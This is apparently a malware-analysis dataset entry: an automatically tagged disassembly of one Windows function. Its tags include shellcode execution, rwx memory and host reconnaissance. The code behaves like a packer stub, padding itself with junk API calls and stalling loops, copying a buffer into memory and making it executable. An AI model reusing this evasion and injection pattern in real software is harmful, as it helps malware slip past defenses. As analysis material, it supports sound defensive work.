Function at 0x40afc0
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get geographical location
Get hostname
Set console window title
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40e63b
mov eax, dword fs:[0]
push eax
sub esp, 0x858
mov eax, dword [0x442030]
xor eax, esp
mov dword [esp + 0x850], eax
push ebx
push esi
push edi
mov eax, dword [0x442030]
xor eax, esp
push eax
lea eax, [esp + 0x868]
mov dword fs:[0], eax
mov edx, dword [0x2c2255c]
xor ebx, ebx
cmp edx, 0x7c
jne 0x40b05f
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconW]
push ebx
call dword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp dword [0x2c2255c], 0x2d
jne 0x40b050
push ebx
push ebx
push ebx
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
call fcn.0040136a
mov edx, dword [0x2c2255c]
add esp, 4
mov ecx, dword [0x443d74]
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
nop
cmp eax, 0x1c3
jne 0x40b07d
lea edx, [ecx + 0xa231]
cmp edx, 0x141
jne 0x40b091
mov dword [0x444d10], edi
mov dword [0x444d14], esi
inc eax
cmp eax, 0xb9fa618
jl 0x40b070
mov esi, dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
mov dword [0x2c2255c], edx
xor edi, edi
cmp edi, 0x562d05
jne 0x40b0bb
mov ecx, dword [0x442f58]
mov dword [0x2c22560], ecx
cmp edx, 0x3c
jne 0x40b0c9
push ebx
call esi
mov edx, dword [0x2c2255c]
inc edi
cmp edi, 0x5f6c74
jl 0x40b0a7
cmp edx, 0x110a
jne 0x40b19d
push ebx
mov dword [0x2c22428], ebx
mov dword [0x2c2242c], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
lea ecx, [esp + 0x34]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebx
push ebx
call fcn.00401206
push ebx
push ebx
call fcn.00401380
push 0x30
push 0x4406e4
push str._s__c
push 0x444c88
call fcn.00401078
push 4
call fcn.0040193f
add esp, 0x24
cmp eax, ebx
je 0x40b163
lea edx, [esp + 0x1c]
mov dword [eax], edx
jmp 0x40b165
xor eax, eax
mov dword [esp + 0x1c], eax
push ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call fcn.00401295
add esp, 4
push ebx
push ebx
call fcn.00401380
push 0x4406e4
push 0x444c88
call fcn.00401078
add esp, 0x10
push ebx
call fcn.0040188c
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov eax, dword [0x2c2255c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor edi, edi
mov dword [0x2c22280], eax
cmp dword [0x2c2255c], ebx
jbe 0x40b20d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualQuery]
lea ebx, [ebx]
mov ecx, dword [0x2c22560]
mov dword [esp + 0x10], ecx
mov eax, 0xa231
add dword [esp + 0x10], eax
mov edx, dword [esp + 0x10]
mov al, byte [edx + edi]
mov ecx, dword [0x2c22280]
mov byte [ecx + edi], al
cmp dword [0x2c2255c], 0x5ab
jne 0x40b204
push ebx
push ebx
push ebx
call esi
inc edi
cmp edi, dword [0x2c2255c]
jb 0x40b1d0
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x2c2255c]
mov ecx, dword [0x2c22280]
lea edx, [esp + 0x14]
push edx
push 0x40
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x2c2255c]
mov ebx, dword [0x2c22280]
mov esi, dword [0x442f60]
mov edi, eax
cmp eax, 0x930
jne 0x40b259
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2c2255c]
mov dword [0x444d0c], esi
cmp eax, 0x114e
jne 0x40b281
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x2c2255c]
cmp eax, 0x2f
jne 0x40b29e
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
call fcn.0040ae40
add dword [0x2c22280], 0
mov ebx, dword [esp + 0x3c]
mov esi, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor edi, edi
lea esp, [esp]
push 0
push 0
push 0
call esi
cmp edi, 0x1a01e
jle 0x40b2d8
cmp ebx, 0xf5bed7
jne 0x40b2e1
inc edi
cmp edi, 0x1ece7a52
jl 0x40b2c0
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
mov dword [esp + 0x10], 0x1519a5
mov ebx, 0x8e46a6f0
lea ebx, [ebx]
cmp dword [0x2c2255c], 0xcc1
jne 0x40b310
push 0
call esi
cmp dword [0x2c2255c], 0x3dc
mov dword [0x2c22284], ebx
jne 0x40b328
push 0
push 0
call edi
sub dword [esp + 0x10], 1
jne 0x40b300
mov ecx, dword [esp + 0x868]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x850]
xor ecx, esp
call fcn.00401069
mov esp, ebp
pop ebp
ret